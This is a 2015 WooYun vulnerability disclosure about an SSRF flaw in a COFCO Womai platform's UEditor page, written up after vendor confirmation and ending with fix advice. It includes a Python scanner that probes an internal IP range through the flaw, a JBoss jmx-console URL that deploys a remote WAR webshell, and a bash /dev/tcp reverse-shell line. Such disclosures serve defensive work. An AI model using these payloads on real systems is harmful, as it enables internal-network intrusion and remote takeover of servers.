当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0163792

漏洞标题:中粮我买网某平台SSRF漏洞可探可Shell

相关厂商:中粮我买网

漏洞作者: 路人甲

提交时间:2015-12-23 11:52

修复时间:2016-02-06 10:45

公开时间:2016-02-06 10:45

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-23: 细节已通知厂商并且等待厂商处理中
2015-12-23: 厂商已经确认,细节仅向厂商公开
2016-01-02: 细节向核心白帽子及相关领域专家公开
2016-01-12: 细节向普通白帽子公开
2016-01-22: 细节向实习白帽子公开
2016-02-06: 细节向公众公开

简要描述:

雅一点说,旁征博引,学以致用。
俗一点讲,东拼西凑,运气好。

详细说明:

一、引用:
普通应用下的暗涌-几款通用型应用的SSRF漏洞利用及分析以及某大厂坑到自己记录
WooYun: 普通应用下的暗涌-几款通用型应用的SSRF漏洞利用及分析以及某大厂坑到自己记录
其中提到了Ueditor jsp早期的版本ueditor/jsp/getRemoteImage.jsp存在SSRF漏洞,可以探测内网;
http://**.**.**.**/thirdparty/ueditor/jsp/getRemoteImage.jsp?upfile=http://**.**.**.**/sex.jsp%23.jpg
二、引用:
中粮集团旗下某站应用配置错误导致可Getshell
WooYun: 中粮集团旗下某站应用配置错误导致可Getshell
这里提供的信息:
1. jboss的环境;
2. 应用的内部ip 10.5.1.*
3. 应用平台名称platform
三、运气来了
http://118.144.75.72/platform/ueditor/jsp/getRemoteImage.jsp?upfile
居然可以直接请求;
并没有像之前描述的跳转到SSO的页面,估计web.xml的拦截器只是针对登录页面吧,并不是全部的jsp页面,否则……
四、引用
搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行
http://wooyun.org/bugs/wooyun-2015-0129588
以及引用一的代码,拼凑了一个SSRF的简陋探测脚本;
端口开启,但不是jboss应用

p.jpg


端口开启,且是jboss应用

p2.jpg


ueditor_ssrf.py内容如下:

#encoding=utf-8
import requests
def ssrf_test(ip,port):
try:
uediotr_url = 'http://118.144.75.72/platform/ueditor/jsp/getRemoteImage.jsp?upfile=http://'+ip+':'+port+'/jmx-console/images/logo.gif'
print uediotr_url
ssrf = requests.get(uediotr_url,timeout=3)
msg = ssrf.text
print msg
if u"成功" in msg:
print ip+':'+port
with open('ssrf_result.txt', 'a') as outFile:
outFile.write(ip+":"+port+"\n")
except Exception, e:
print "An error occurred:"+str(e)
if __name__=='__main__':
#portlist=['21','22','873','80','443','1521','3306','3389','8080']
portlist=['8080']
for i in range(1,255):
ip = "10.5.1.%s"%(i)
for port in portlist:
ssrf_test(ip,port)


针对jboss的探测,还是有结果返回的。

r.jpg


根据 搜狐某云服务API接口导致SSRF/手工盲打到Struts2命令执行的6.1部分:

j.jpg


可以远程部署包含webshell或者反弹脚本的war包

漏洞证明:

以上探测结果中有的IP地址没有成功,但是还是有不少成功的。
以74服务器为例:

71.jpg


经过尝试,发现upfile不能有&符号,需要将&转为%26
upfile=http://10.5.1.74:8080/jmx-console/HtmlAdaptor?action=invokeOp%26name=jboss.system%3Aservice%3DMainDeployer%26methodIndex=3%26arg0=http%3A%2F%2F远端地址%2Fhtml5.war%23.jpg
为了验证html5.war是否成功部署,在war里面放了一张图片;

71.jpg


部署成功,访问war包的反弹脚本,验证shell

71.jpg


90服务器:shell

71.jpg


反弹shell的命令就是最常见的那一句:
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1
其他参考 乌云知识库:
Bool型SSRF的思考与实践
http://drops.wooyun.org/web/7550

修复方案:

如果将不使用的功能页面getRemoteImage.jsp清理掉了,就不会有这个问题了;
如果应用系统当时将所有的jsp do action都加入到拦截器中,就不会有这个问题了;
如果jboss的jmx-console相关的被删除了,就不会有这个问题了;
如果服务器端对外网的访问有明确的入站和出站规则,反弹shell,我这个菜鸟也是不会的。
安全防御好比垒墙,你做了那一步,墙就会高一点点。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-23 12:38

厂商回复:

谢谢

最新状态:

暂无